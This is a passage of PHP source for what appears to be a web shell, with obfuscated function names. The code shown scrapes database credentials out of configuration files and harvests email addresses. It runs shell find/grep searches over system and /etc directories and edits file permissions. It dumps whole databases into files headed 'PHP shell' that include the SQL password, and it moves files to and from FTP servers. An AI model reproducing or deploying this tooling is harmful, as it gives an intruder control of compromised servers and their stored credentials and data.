4854function chkfrm(inid, hid){ var inputs=document.getElementsByTagName("input");var ichk=[];for(var i=0;i<inputs.length;i++){ if(inputs[i].type=="checkbox"&&inputs[i].name==inid){ if(inputs[i].checked){ ichk.push(inputs[i].value);};};};if(ichk.length > 0){ document.getElementById(hid).value = ichk.join("\n"); return true; } else { return false;};}
4855function chkall(inid,vbool){ var inputs=document.getElementsByTagName("input");for(var i=0;i<inputs.length;i++){ if(inputs[i].type=="checkbox"&&inputs[i].name==inid){ inputs[i].checked = vbool; changetr(inputs[i].id.replace(\'chk\', \'\'), vbool); };};}
4856function invall(inid){ var inputs=document.getElementsByTagName("input");for(var i=0;i<inputs.length;i++){ if(inputs[i].type=="checkbox"&&inputs[i].name==inid){ if(inputs[i].checked == true){ inputs[i].checked = false; changetr(inputs[i].id.replace(\'chk\', \'\'), false); } else { inputs[i].checked = true; changetr(inputs[i].id.replace(\'chk\', \'\'), true); };};};}
4857</script>';
4858}
4859function z3w($var, $f)
4860{
4861 $val = '';
4862 if (!empty($f)) {
4863 $reg = '/\$' . $var . '\s*=\s*([\'"]{1})([^\1\s\t\r\n]+)\1\s*;/';
4864 if (@preg_match($reg, $f, $m)) {
4865 $val = $m[2];
4866 unset($m);
4867 }
4868 }
4869 unset($f);
4870 return $val;
4871}
4872function z2a($var, $f)
4873{
4874 $val = '';
4875 if (!empty($f)) {
4876 $reg = '/([\'"]{1})' . $var . '\1[\s\t\r\n]*=>[\s\t\r\n]*([\'"]{1})([^\2\s\t\r\n]+)\2/';
4877 if (@preg_match($reg, $f, $m)) {
4878 $val = $m[3];
4879 unset($m);
4880 }
4881 }
4882 unset($f);
4883 return $val;
4884}
4885function z2p($var, $f)
4886{
4887 $val = '';
4888 if (!empty($f)) {
4889 $reg = '/\[([\'"]{1})' . $var . '\1\][\s\t\r\n]*=[\s\t\r\n]*([\'"]{1})([^\2\s\t\r\n]+)\2/';
4890 if (@preg_match($reg, $f, $m)) {
4891 $val = $m[3];
4892 unset($m);
4893 }
4894 }
4895 unset($f);
4896 return $val;
4897}
4898function z1v($const, $f)
4899{
4900 $val = '';
4901 if (!empty($f)) {
4902 $reg = '/define\s*\(([\'"]{1})' . $const . '\1\s*,\s*([\'"]{1})([^\2\s\t\r\n]+)\2\s*\)\s*;/';
4903 if (@preg_match($reg, $f, $m)) {
4904 $val = $m[3];
4905 unset($m);
4906 }
4907 }
4908 unset($f);
4909 return $val;
4910}
4911function z4b($type, $var, $f)
4912{
4913 switch ($type) {
4914 case 'var':
4915 return z3w($var, $f);
4916 break;
4917 case 'const':
4918 return z1v($var, $f);
4919 break;
4920 case 'arrayvar1':
4921 return z2a($var, $f);
4922 break;
4923 case 'arrayvar2':
4924 return z2p($var, $f);
4925 break;
4926 default:
4927 return '';
4928 }
4929}
4930function z3v($s, $t = 0)
4931{
4932 $reg = '[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*\.(([0-9]{1,3})|([a-zA-Z]{2,3})|(aero|coop|info|museum|name))';
4933 if ($t)
4934 return @preg_match('/^' . $reg . '$/i', $s);
4935 $r = array();
4936 if (@preg_match_all('/' . $reg . '/i', $s, $m)) {
4937 foreach ($m[0] as $em)
4938 $r[] = $em;
4939 }
4940 return @array_unique($r);
4941}
4942function z1r($a, $s = " and", $f = array())
4943{
4944 if (!@is_array($a))
4945 $a = array();
4946 $r = "";
4947 foreach ($a as $k => $v) {
4948 $p = "";
4949 if (!@empty($f[$k]))
4950 $p .= $f[$k] . "(";
4951 $p .= "'" . addslashes($v) . "'";
4952 if (!@empty($f[$k]))
4953 $p .= ")";
4954 $r .= "`" . $k . "` = " . $p . $s;
4955 }
4956 $r = @substr($r, 0, @strlen($r) - @strlen($s));
4957 return $r;
4958}
4959function z1q($file, $global = 0, $dir = 0)
4960{
4961 $mode = @fileperms($file);
4962 if ($dir) {
4963 $arr = ($global ? array() : array("act", "d", "ctarget" => $file, "chmod_submit" =>
4964 "1"));
4965 } else {
4966 $arr = ($global ? array() : array("act", "d", "f", "ft" => "functions",
4967 "ctarget" => $file, "chmod_submit" => "1"));
4968 }
4969 if ($mode) {
4970 $perms = z9r($mode, 1);
4971 $o = @decoct($mode);
4972 if (@strlen($o) > 4)
4973 $o = @substr($o, -4);
4974 echo z2b(($dir ? z9s("123") : z9s("93")) . z9c() . z4p($file));
4975 echo z10e(z7i(z9j(z5c($arr, z10e(z5n() . z7i(z5t(z9s("94", '', 1)) . z9j(z5y("chmod_or",
4976 z9s("97"), "chmod_o[r]", "1", (($perms["o"]["r"]) ? 1 : '')) . z9c(5) . z5y("chmod_ow",
4977 z9s("98"), "chmod_o[w]", "1", (($perms["o"]["w"]) ? 1 : '')) . z9c(5) . z5y("chmod_ox",
4978 z9s("99"), "chmod_o[x]", "1", (($perms["o"]["x"]) ? 1 : ''))) . z9j(z9c())) .
4979 z7i(z5t(z9s("95", '', 1)) . z9j(z5y("chmod_gr", z9s("97"), "chmod_g[r]", "1", (($perms["g"]["r"]) ?
4980 1 : '')) . z9c(5) . z5y("chmod_gw", z9s("98"), "chmod_g[w]", "1", (($perms["g"]["w"]) ?
4981 1 : '')) . z9c(5) . z5y("chmod_gx", z9s("99"), "chmod_g[x]", "1", (($perms["g"]["x"]) ?
4982 1 : ''))) . z9j(z9c(5) . z8v("Chmod", "7"))) . z7i(z5t(z9s("96", '', 1)) . z9j(z5y
4983 ("chmod_wr", z9s("97"), "chmod_w[r]", "1", (($perms["w"]["r"]) ? 1 : '')) . z9c
4984 (5) . z5y("chmod_ww", z9s("98"), "chmod_w[w]", "1", (($perms["w"]["w"]) ? 1 : '')) .
4985 z9c(5) . z5y("chmod_wx", z9s("99"), "chmod_w[x]", "1", (($perms["w"]["x"]) ? 1 :
4986 ''))) . z9j(z9c())) . z5n(), "2"))) . z9j(z5c(array("act", "d", "f", "ft" =>
4987 "functions", "ctarget" => $file, "chmod_submit" => "1"), z10e(z7i(z5t(z9s("101")) .
4988 z9j(z5u("chmod_val", $o, "1") . z8v(z9s("100"), "7"))), "2")))));
4989 }
4990}
4991function z0d()
4992{
4993 global $found, $nix, $sh_exec, $sn, $sn_reg, $s_in, $st, $st_reg, $st_wwo, $st_cs,
4994 $st_not, $s_fd, $s_rec;
4995 echo z2b(z9s("142")) . z6d();
4996 $as_fd = array('1' => z9s("144"), '2' => z9s("145"), '' => z9s("146"));
4997 $a_rec = array('' => z9s("21"));
4998 for ($i = 0; $i < 10; $i++)
4999 $a_rec[($i + 1)] = ($i + 1) . " " . z9s("145");
5000 $a_rec['no'] = z9s("22");
5001 $a_paths = array('cwd' => 'cwd', 'system' => 'system', 'bin' => '(s)bin dirs',
5002 'etc' => '/etc');
5003 echo z5c(array('d', 'act' => 'search', 'ftarget' => '1'), z10e(z9f(z9j(z10e(z7i
5004 (z5t(z9s("143")) . z9j(z6i("sn", @htmlspecialchars($sn), '2') . z4a("s_fd", $as_fd,
5005 '1', '1') . z4a("s_rec", $a_rec, '1', '1') . z6p("submit", z9s("147"), '7') .
5006 ' ' . z5y('sn_reg', z9s("148"), 'sn_reg'))) . z7i(z5t(z9s("149")) . z9j(z6i("s_in",
5007 htmlspecialchars($s_in), "9")))) . z10e(z7i(z5t(z9s("150")) . z9j(z6i("st", @
5008 htmlspecialchars($st), "9"))) . z7i(z5t("") . z9j(z5y("st_reg", z9s("151"),
5009 "st_reg") . z9c("3") . z5y("st_wwo", z9s("152"), "st_wwo") . z9c("3") . z5y("st_cs",
5010 z9s("153"), "st_cs") . z9c("3") . z5y("st_not", z9s("154"), "st_not"))))))));
5011 echo z6d();
5012 if ($nix && $sh_exec) {
5013 echo z2b(z9s("155")) . z6d();
5014 global $findaliases, $unixfind, $find_text, $find_in_dir, $find_in_files, $find_defined,
5015 $spath, $lsman;
5016 if (!@isset($spath))
5017 $spath = 'cwd';
5018 $find_result = "";
5019 if (@isset($unixfind) && $unixfind == "1" && @isset($find_text) && !@empty($find_text) &&
5020 @isset($find_in_dir) && !@empty($find_in_dir) && @isset($find_in_files) && !@
5021 empty($find_in_files)) {
5022 $find_infiles = @array_unique(@explode(";", $find_in_files));
5023 foreach ($find_infiles as $find_in_file) {
5024 $find_result .= z9t('find "' . $find_in_dir . '" -name "' . $find_in_file .
5025 '" -print0|xargs -0 grep -E "' . $find_text . '"', 0);
5026 }
5027 }
5028 echo z5c(array('d', 'act' => 'search', 'unixfind' => '1'), z10e(z7i(z5t(z9s("156")) .
5029 z9j(z6i("find_text", @htmlspecialchars($find_text), '0') . z8v(z9s("147"), '7'))) .
5030 z7i(z5t(z9s("149")) . z9j(z6i("find_in_dir", @htmlspecialchars($find_in_dir),
5031 "9"))) . z7i(z5t(z9s("157")) . z9j(z6i("find_in_files", @htmlspecialchars($find_in_files),
5032 "9")))));
5033 echo z5c(array('d', 'act' => 'search', 'unixfind' => '2'), z10e(z7i(z5t(z9s("158")) .
5034 z9j(z2u("find_defined", $findaliases, "0", '1') . z4a('spath', $a_paths, '1',
5035 '1') . z8v(z9s("147"), '7') . z5y("lsman", z9s("159"), 'lsman', '1')))));
5036 echo z6d();
5037 if (@isset($unixfind) && $unixfind == "2" && @isset($find_defined) && !@empty($find_defined)) {
5038 if ($spath == 'system') {
5039 $rep = '/';
5040 } elseif ($spath == 'etc') {
5041 $rep = '/etc';
5042 } elseif ($spath == 'bin') {
5043 $rep = '/bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin';
5044 } else {
5045 $rep = '"' . $find_in_dir . '"';
5046 }
5047 if (@isset($lsman) && $lsman) {
5048 $find_defined = @str_replace(' -ls', '', $find_defined);
5049 }
5050 $find_defined = @str_replace('%path%', $rep, $find_defined);
5051 $find_result = z9t($find_defined, 0);
5052 }
5053 if (!@empty($find_result)) {
5054 if (@isset($lsman) && $lsman) {
5055 global $ls_a, $act, $fullpath, $nolsmenu, $nohead;
5056 $tls_a = @explode("\n", $find_result);
5057 $ls_a = array();
5058 foreach ($tls_a as $ls) {
5059 $ls = @trim($ls);
5060 if (!@empty($ls) && !@in_array($ls, $ls_a))
5061 $ls_a[] = $ls;
5062 }
5063 if (@count($ls_a) > 0) {
5064 $act = "ls";
5065 $fullpath = 1;
5066 $nolsmenu = 1;
5067 $nohead = 1;
5068 }
5069 } else {
5070 echo z10e(z9f(z6x(z5w('', '1', 1) . @htmlspecialchars($find_result) . z5q())),
5071 '2') . z6d();
5072 }
5073 }
5074 }
5075}
5076function z7q()
5077{
5078 global $images;
5079 return (@is_array($images) ? $images : array());
5080}
5081class zrc4
5082{
5083 function zenc($pwd, $data, $ispwdHex = 0)
5084 {
5085 if ($ispwdHex)
5086 $pwd = @pack('H*', $pwd);
5087 $key[] = '';
5088 $box[] = '';
5089 $cipher = '';
5090 $pwd_length = @strlen($pwd);
5091 $data_length = @strlen($data);
5092 for ($i = 0; $i < 256; $i++) {
5093 $key[$i] = @ord($pwd[$i % $pwd_length]);
5094 $box[$i] = $i;
5095 }
5096 for ($j = $i = 0; $i < 256; $i++) {
5097 $j = ($j + $box[$i] + $key[$i]) % 256;
5098 $tmp = $box[$i];
5099 $box[$i] = $box[$j];
5100 $box[$j] = $tmp;
5101 }
5102 for ($a = $j = $i = 0; $i < $data_length; $i++) {
5103 $a = ($a + 1) % 256;
5104 $j = ($j + $box[$a]) % 256;
5105 $tmp = $box[$a];
5106 $box[$a] = $box[$j];
5107 $box[$j] = $tmp;
5108 $k = $box[(($box[$a] + $box[$j]) % 256)];
5109 $cipher .= @chr(@ord($data[$i]) ^ $k);
5110 }
5111 return $cipher;
5112 }
5113 function zdec($pwd, $data, $ispwdHex = 0)
5114 {
5115 return zrc4::zenc($pwd, $data, $ispwdHex);
5116 }
5117}
5118class my_sql
5119{
5120 var $host = 'localhost';
5121 var $port = '';
5122 var $user = '';
5123 var $pass = '';
5124 var $base = '';
5125 var $db = '';
5126 var $connection;
5127 var $res;
5128 var $error;
5129 var $rows;
5130 var $columns;
5131 var $num_rows;
5132 var $num_fields;
5133 var $dump;
5134 function connect()
5135 {
5136 switch ($this->db) {
5137 case 'MySQL':
5138 if (empty($this->port)) {
5139 $this->port = '3306';
5140 }
5141 if (!@function_exists('mysql_connect'))
5142 return 0;
5143 $this->connection = @mysql_connect($this->host . ':' . $this->port, $this->user,
5144 $this->pass);
5145 if (is_resource($this->connection))
5146 return 1;
5147 break;
5148 case 'MSSQL':
5149 if (empty($this->port)) {
5150 $this->port = '1433';
5151 }
5152 if (!@function_exists('mssql_connect'))
5153 return 0;
5154 $this->connection = @mssql_connect($this->host . ',' . $this->port, $this->user,
5155 $this->pass);
5156 if ($this->connection)
5157 return 1;
5158 break;
5159 case 'PostgreSQL':
5160 if (empty($this->port)) {
5161 $this->port = '5432';
5162 }
5163 $str = "host='" . $this->host . "' port='" . $this->port . "' user='" . $this->
5164 user . "' password='" . $this->pass . "' dbname='" . $this->base . "'";
5165 if (!@function_exists('pg_connect'))
5166 return 0;
5167 $this->connection = @pg_connect($str);
5168 if (is_resource($this->connection))
5169 return 1;
5170 break;
5171 case 'Oracle':
5172 if (!@function_exists('ocilogon'))
5173 return 0;
5174 $this->connection = @ocilogon($this->user, $this->pass, $this->base);
5175 if (is_resource($this->connection))
5176 return 1;
5177 break;
5178 }
5179 return 0;
5180 }
5181 function select_db()
5182 {
5183 switch ($this->db) {
5184 case 'MySQL':
5185 if (@mysql_select_db($this->base, $this->connection))
5186 return 1;
5187 break;
5188 case 'MSSQL':
5189 if (@mssql_select_db($this->base, $this->connection))
5190 return 1;
5191 break;
5192 case 'PostgreSQL':
5193 return 1;
5194 break;
5195 case 'Oracle':
5196 return 1;
5197 break;
5198 }
5199 return 0;
5200 }
5201 function list_dbs()
5202 {
5203 $tmplist = array();
5204 switch ($this->db) {
5205 case 'MySQL':
5206 $this->res = @mysql_list_dbs($this->connection);
5207 while ($tmprow = @mysql_fetch_object($this->res))
5208 $tmplist[$tmprow->Database] = $tmprow->Database;
5209 break;
5210 case 'MSSQL':
5211 break;
5212 case 'PostgreSQL':
5213 break;
5214 case 'Oracle':
5215 break;
5216 }
5217 return $tmplist;
5218 }
5219 function query($query)
5220 {
5221 $this->res = $this->error = '';
5222 switch ($this->db) {
5223 case 'MySQL':
5224 if (false === ($this->res = @mysql_query('/*' . chr(0) . '*/' . $query, $this->
5225 connection))) {
5226 $this->error = @mysql_error($this->connection);
5227 return 0;
5228 } else
5229 if (is_resource($this->res)) {
5230 return 1;
5231 }
5232 return 2;
5233 break;
5234 case 'MSSQL':
5235 if (false === ($this->res = @mssql_query($query, $this->connection))) {
5236 $this->error = 'Query error';
5237 return 0;
5238 } else
5239 if (@mssql_num_rows($this->res) > 0) {
5240 return 1;
5241 }
5242 return 2;
5243 break;
5244 case 'PostgreSQL':
5245 if (false === ($this->res = @pg_query($this->connection, $query))) {
5246 $this->error = @pg_last_error($this->connection);
5247 return 0;
5248 } else
5249 if (@pg_num_rows($this->res) > 0) {
5250 return 1;
5251 }
5252 return 2;
5253 break;
5254 case 'Oracle':
5255 if (false === ($this->res = @ociparse($this->connection, $query))) {
5256 $this->error = 'Query parse error';
5257 } else {
5258 if (@ociexecute($this->res)) {
5259 if (@ocirowcount($this->res) != 0)
5260 return 2;
5261 return 1;
5262 }
5263 $error = @ocierror();
5264 $this->error = $error['message'];
5265 }
5266 break;
5267 }
5268 return 0;
5269 }
5270 function get_result()
5271 {
5272 $this->rows = array();
5273 $this->columns = array();
5274 $this->get_num_fields();
5275 $this->get_num_rows();
5276 switch ($this->db) {
5277 case 'MySQL':
5278 while (false !== ($this->rows[] = @mysql_fetch_assoc($this->res)))
5279 ;
5280 if ($this->num_fields) {
5281 $this->columns = @array_keys($this->rows[0]);
5282 if (@count($this->columns) < 1)
5283 $this->get_columns();
5284 @mysql_free_result($this->res);
5285 return 1;
5286 }
5287 @mysql_free_result($this->res);
5288 break;
5289 case 'MSSQL':
5290 while (false !== ($this->rows[] = @mssql_fetch_assoc($this->res)))
5291 ;
5292 if ($this->num_fields) {
5293 $this->columns = @array_keys($this->rows[0]);
5294 if (@count($this->columns) < 1)
5295 $this->get_columns();
5296 @mssql_free_result($this->res);
5297 return 1;
5298 }
5299 @mssql_free_result($this->res);
5300 break;
5301 case 'PostgreSQL':
5302 while (false !== ($this->rows[] = @pg_fetch_assoc($this->res)))
5303 ;
5304 if ($this->num_fields) {
5305 $this->columns = @array_keys($this->rows[0]);
5306 if (@count($this->columns) < 1)
5307 $this->get_columns();
5308 @pg_free_result($this->res);
5309 return 1;
5310 }
5311 @pg_free_result($this->res);
5312 break;
5313 case 'Oracle':
5314 while (false !== ($this->rows[] = @oci_fetch_assoc($this->res)))
5315 ;
5316 if ($this->num_fields) {
5317 $this->columns = @array_keys($this->rows[0]);
5318 if (@count($this->columns) < 1)
5319 $this->get_columns();
5320 @ocifreestatement($this->res);
5321 return 1;
5322 }
5323 @ocifreestatement($this->res);
5324 break;
5325 }
5326 return 0;
5327 }
5328 function get_num_rows()
5329 {
5330 $this->num_rows = 0;
5331 switch ($this->db) {
5332 case 'MySQL':
5333 $this->num_rows = @mysql_num_rows($this->res);
5334 break;
5335 case 'MSSQL':
5336 $this->num_rows = @mssql_num_rows($this->res);
5337 break;
5338 case 'PostgreSQL':
5339 $this->num_rows = @pg_num_rows($this->res);
5340 break;
5341 case 'Oracle':
5342 while (false !== (@oci_fetch_assoc($this->res)))
5343 $this->num_rows++;
5344 break;
5345 }
5346 }
5347 function get_columns()
5348 {
5349 $this->columns = array();
5350 $this->get_num_fields();
5351 switch ($this->db) {
5352 case 'MySQL':
5353 for ($i = 0; $i < $this->num_fields; $i++) {
5354 if (@mysql_field_name($this->res, $i) !== false)
5355 $this->columns[] = @mysql_field_name($this->res, $i);
5356 }
5357 break;
5358 case 'MSSQL':
5359 for ($i = 0; $i < $this->num_fields; $i++) {
5360 if (@mssql_field_name($this->res, $i) !== false)
5361 $this->columns[] = @mssql_field_name($this->res, $i);
5362 }
5363 break;
5364 case 'PostgreSQL':
5365 for ($i = 0; $i < $this->num_fields; $i++) {
5366 if (@pg_field_name($this->res, $i) !== false)
5367 $this->columns[] = @pg_field_name($this->res, $i);
5368 }
5369 break;
5370 case 'Oracle':
5371 for ($i = 0; $i < $this->num_fields; $i++) {
5372 if (@ocicolumnname($this->res, $i) !== false)
5373 $this->columns[] = @ocicolumnname($this->res, $i);
5374 }
5375 break;
5376 }
5377 }
5378 function get_num_fields()
5379 {
5380 $this->num_fields = 0;
5381 switch ($this->db) {
5382 case 'MySQL':
5383 $this->num_fields = @mysql_num_fields($this->res);
5384 break;
5385 case 'MSSQL':
5386 $this->num_fields = @mssql_num_fields($this->res);
5387 break;
5388 case 'PostgreSQL':
5389 $this->num_fields = @pg_num_fields($this->res);
5390 break;
5391 case 'Oracle':
5392 $this->num_fields = @ocinumcols($this->res);
5393 break;
5394 }
5395 }
5396 function parse_fields($table)
5397 {
5398 if (!$this->query('SELECT * FROM `' . $table . '` LIMIT 0,1;'))
5399 return 0;
5400 return ($this->get_result() ? $this->num_fields : 0);
5401 }
5402 function count_rows($table)
5403 {
5404 $tmpcount = 0;
5405 switch ($this->db) {
5406 case 'MySQL':
5407 $this->query('SELECT COUNT(*) FROM `' . $table . '`;');
5408 if (@is_resource($this->res)) {
5409 $tmp = @mysql_fetch_array($this->res);
5410 $tmpcount = $tmp[0];
5411 }
5412 break;
5413 case 'MSSQL':
5414 break;
5415 case 'PostgreSQL':
5416 break;
5417 case 'Oracle':
5418 break;
5419 }
5420 return (@is_numeric($tmpcount) ? $tmpcount : 0);
5421 }
5422 function dump($table)
5423 {
5424 if (empty($table))
5425 return 0;
5426 $this->dump = array();
5427 $this->dump[0] = '--';
5428 $this->dump[1] = '-- ----------------------------------------------- ';
5429 $this->dump[2] = '-- Dump date : ' . @date("d/m/Y H:i:s");
5430 $this->dump[3] = '-- PHP shell : ' . z8o();
5431 $this->dump[4] = '-- ----------------------------------------------- ';
5432 $this->dump[5] = '-- SQL host : ' . $this->host . ':' . $this->port;
5433 $this->dump[6] = '-- SQL user : ' . $this->user;
5434 $this->dump[7] = '-- SQL pass : ' . $this->pass;
5435 $this->dump[8] = '-- SQL db : ' . $this->base;
5436 $this->dump[9] = '-- SQL table : ' . $table;
5437 $this->dump[10] = '-- ----------------------------------------------- ';
5438 switch ($this->db) {
5439 case 'MySQL':
5440 $this->dump[0] = '-- MySQL dump';
5441 if ($this->query('/*' . chr(0) . '*/ SHOW CREATE TABLE `' . $table . '`') != 1)
5442 return 0;
5443 if (!$this->get_result())
5444 return 0;
5445 $this->dump[] = $this->rows[0]['Create Table'];
5446 $this->dump[] = '-- ----------------------------------------------- ';
5447 if ($this->query('/*' . chr(0) . '*/ SELECT * FROM `' . $table . '`') != 1)
5448 return 0;
5449 if (!$this->get_result())
5450 return 0;
5451 for ($i = 0; $i < $this->num_rows; $i++) {
5452 foreach ($this->rows[$i] as $k => $v) {
5453 $this->rows[$i][$k] = @mysql_real_escape_string($v);
5454 }
5455 $this->dump[] = 'INSERT INTO `' . $table . '` (`' . @implode("`, `", $this->
5456 columns) . '`) VALUES (\'' . @implode("', '", $this->rows[$i]) . '\');';
5457 }
5458 break;
5459 case 'MSSQL':
5460 $this->dump[0] = '-- MSSQL dump';
5461 if ($this->query('SELECT * FROM ' . $table) != 1)
5462 return 0;
5463 if (!$this->get_result())
5464 return 0;
5465 for ($i = 0; $i < $this->num_rows; $i++) {
5466 foreach ($this->rows[$i] as $k => $v) {
5467 $this->rows[$i][$k] = @addslashes($v);
5468 }
5469 $this->dump[] = 'INSERT INTO ' . $table . ' (' . @implode(", ", $this->columns) .
5470 ') VALUES (\'' . @implode("', '", $this->rows[$i]) . '\');';
5471 }
5472 break;
5473 case 'PostgreSQL':
5474 $this->dump[0] = '-- PostgreSQL dump';
5475 if ($this->query('SELECT * FROM ' . $table) != 1)
5476 return 0;
5477 if (!$this->get_result())
5478 return 0;
5479 for ($i = 0; $i < $this->num_rows; $i++) {
5480 foreach ($this->rows[$i] as $k => $v) {
5481 $this->rows[$i][$k] = @addslashes($v);
5482 }
5483 $this->dump[] = 'INSERT INTO ' . $table . ' (' . @implode(", ", $this->columns) .
5484 ') VALUES (\'' . @implode("', '", $this->rows[$i]) . '\');';
5485 }
5486 break;
5487 case 'Oracle':
5488 $this->dump[0] = '-- ORACLE dump';
5489 break;
5490 default:
5491 return 0;
5492 break;
5493 }
5494 return 1;
5495 }
5496 function close()
5497 {
5498 switch ($this->db) {
5499 case 'MySQL':
5500 @mysql_close($this->connection);
5501 break;
5502 case 'MSSQL':
5503 @mssql_close($this->connection);
5504 break;
5505 case 'PostgreSQL':
5506 @pg_close($this->connection);
5507 break;
5508 case 'Oracle':
5509 @oci_close($this->connection);
5510 break;
5511 }
5512 }
5513 function affected_rows()
5514 {
5515 switch ($this->db) {
5516 case 'MySQL':
5517 return @mysql_affected_rows($this->res);
5518 break;
5519 case 'MSSQL':
5520 return @mssql_affected_rows($this->res);
5521 break;
5522 case 'PostgreSQL':
5523 return @pg_affected_rows($this->res);
5524 break;
5525 case 'Oracle':
5526 return @ocirowcount($this->res);
5527 break;
5528 default:
5529 return 0;
5530 break;
5531 }
5532 }
5533}
5534class ftp
5535{
5536 var $server = "";
5537 var $port = 21;
5538 var $user = "";
5539 var $userDir = "";
5540 var $password = "";
5541 var $connection = "";
5542 var $passive = false;
5543 var $systype = "";
5544 var $mode = FTP_BINARY;
5545 var $loggedOn = false;
5546 var $downloadDir = "";
5547 function ftp($server, $port, $user, $password, $passive = false)
5548 {
5549 $this->server = $server;
5550 $this->port = $port;
5551 $this->user = $user;
5552 $this->password = $password;
5553 $this->connect();
5554 $this->setPassive($passive);
5555 }
5556 function connect()
5557 {
5558 $this->connection = @ftp_connect($this->server, $this->port);
5559 $this->loggedOn = @ftp_login($this->connection, $this->user, $this->password);
5560 $this->systype = @ftp_systype($this->connection);
5561 return;
5562 }
5563 function setPassive($passive)
5564 {
5565 $this->passive = $passive;
5566 @ftp_pasv($this->connection, $this->passive);
5567 return;
5568 }
5569 function setMode($mode = 1)
5570 {
5571 $this->mode = $mode;
5572 return;
5573 }
5574 function setCurrentDir($dir = false)
5575 {
5576 if ($dir)
5577 @ftp_chdir($this->connection, $dir);
5578 $this->currentDir = z1a(@ftp_pwd($this->connection));
5579 return $this->currentDir;
5580 }
5581 function setDownloadDir($dir)
5582 {
5583 $this->downloadDir = $dir;
5584 return;
5585 }
5586 function chmod($p, $f)
5587 {
5588 return @ftp_site($this->connection, "chmod $p $f");
5589 }
5590 function cd($dir)
5591 {
5592 if ($dir == "..") {
5593 @ftp_cdup($this->connection);
5594 } else {
5595 if (!@ftp_chdir($this->connection, $this->currentDir . $dir)) {
5596 @ftp_chdir($this->connection, $dir);
5597 }
5598 }
5599 $this->currentDir = z1a(@ftp_pwd($this->connection));
5600 return;
5601 }
5602 function is_dir($dir)
5603 {
5604 if (@ftp_chdir($this->connection, $dir)) {
5605 @ftp_chdir($this->connection, '..');
5606 return true;
5607 } else {
5608 return false;
5609 }
5610 }
5611 function get($file, $dest = '', $t = 0)
5612 {
5613 if ($dest == '')
5614 $dest = $this->downloadDir;
5615 return @ftp_get($this->connection, ($t ? $dest : z1a($dest) . z2h($file)), "$file",
5616 $this->mode);
5617 }
5618 function getRecursive($src, $dest = '')
5619 {
5620 if ($dest == '')
5621 $dest = $this->downloadDir;
5622 $target = z2h($src);
5623 $src = z1a($src);
5624 $dest = z1a($dest) . $target;
5625 if (!z4q($dest))
5626 @mkdir($dest);
5627 $list = @ftp_nlist($this->connection, $src);
5628 for ($x = 0; $x < @count($list); $x++) {
5629 $o = z2h($list[$x]);
5630 if ($o != '.' && $o != '..') {
5631 if ($this->is_dir($src . $o)) {
5632 $this->getRecursive($src . $o, $dest);
5633 } else {
5634 $this->get($src . $o, $dest);
5635 }
5636 }
5637 }
5638 }
5639 function getObject($src, $dest = '')
5640 {
5641 if ($dest == '')
5642 $dest = $this->downloadDir;
5643 if ($this->is_dir($src)) {
5644 return $this->getRecursive(z1a($src), $dest);
5645 } else {
5646 return $this->get($src, $dest);
5647 }
5648 }
5649 function put($rf, $lf)
5650 {
5651 return (@file_exists($lf) ? @ftp_put($this->connection, $rf, $lf, $this->mode) : false);
5652 }
5653 function putRecursive($src, $dest = '')
5654 {
5655 if ($dest == '')
5656 $dest = $this->currentDir;
5657 $target = z2h($src);
5658 $src = z1a($src);
5659 $dest = z1a($dest) . $target;
5660 $this->makeDir($dest);
5661 $list = z8k($src);
5662 for ($x = 0; $x < @count($list); $x++) {
5663 $o = z2h($list[$x]);
5664 if ($o != "." && $o != "..") {
5665 if (z4j($src . $o)) {
5666 $this->putRecursive($src . $o, $dest);
5667 } else {
5668 $this->put(z1a($dest) . $o, $src . $o);
5669 }
5670 }
5671 }
5672 }
5673 function putObject($src, $dest = '')
5674 {
5675 if ($dest == '')
5676 $dest = $this->currentDir;
5677 $target = z2h($src);
5678 if (z4j($src)) {
5679 return $this->putRecursive($src, $dest);
5680 } else {
5681 return $this->put(z1a($dest) . $target, $src);
5682 }
5683 }
5684 function deleteFile($rf)
5685 {
5686 return @ftp_delete($this->connection, "$rf");
5687 }
5688 function deleteObject($obj)
5689 {
5690 $cobj = z2h($obj);
5691 if ($cobj != '.' && $cobj != '..') {
5692 if ($this->is_dir($obj)) {
5693 if ($list = @ftp_nlist($this->connection, "$obj")) {
5694 for ($x = 0; $x < @count($list); $x++) {
5695 $o = z2h($list[$x]);
5696 if ($o != '.' && $o != '..') {
5697 $this->deleteObject(z1a($obj) . $o);
5698 }
5699 }
5700 }
5701 @ftp_rmdir($this->connection, "$obj");
5702 } else {
5703 $this->deleteFile("$obj");
5704 }
5705 }
5706 }
5707 function rename($old, $new)
5708 {
5709 return @ftp_rename($this->connection, "$old", "$new");
5710 }
5711 function makeDir($dir)
5712 {
5713 return @ftp_mkdir($this->connection, "$dir");
5714 }
5715 function parseline($raw)
5716 {
5717 if (@preg_match("/([-dl])([rwxsStT-]{9})[ ]+([0-9]+)[ ]+([^ ]+)[ ]+(.+)[ ]+([0-9]+)[ ]+([a-zA-Z]+[ ]+[0-9]+)[ ]+([0-9:]+)[ ]+(.*)/",
5718 $raw, $m)) {
5719 $l = array(($m[1] == 'd' ? 'd' : ($m[1] == 'l' ? 'l' : 'f')), $m[9], $m[6]);
5720 } elseif (@preg_match("/([-dl])([rwxsStT-]{9})[ ]+(.*)[ ]+([a-zA-Z0-9 ]+)[ ]+([0-9:]+)[ ]+(.*)/",
5721 $raw, $m)) {
5722 $l = array(($m[1] == 'd' ? 'd' : ($m[1] == 'l' ? 'l' : 'f')), $m[6], $m[3]);
5723 } elseif (@preg_match("/([0-9\\/-]+)[ ]+([0-9:AMP]+)[ ]+([0-9]*|<DIR>)[ ]+(.*)/",
5724 $raw, $m)) {
5725 $l = array(($m[3] == "<DIR>" ? 'd' : 'f'), $m[4], $m[3]);
5726 } elseif (@preg_match("/([-]|[d])[ ]+(.{10})[ ]+([^ ]+)[ ]+([0-9]*)[ ]+([a-zA-Z]*[ ]+[0-9]*)[ ]+([0-9:]*)[ ]+(.*)/",
5727 $raw, $m)) {
5728 $l = array(($m[1] == 'd' ? 'd' : 'f'), $m[7], $m[4]);
5729 } elseif (@preg_match("/([a-zA-Z0-9_-]+)[ ]+([0-9]+)[ ]+([0-9\\/-]+)[ ]+([0-9:]+)[ ]+([a-zA-Z0-9_ -\*]+)[ \\/]+([^\\/]+)/",
5730 $raw, $m)) {
5731 $l = array(($m[5] == "*STMF" ? 'f' : 'd'), $m[6], $m[2]);
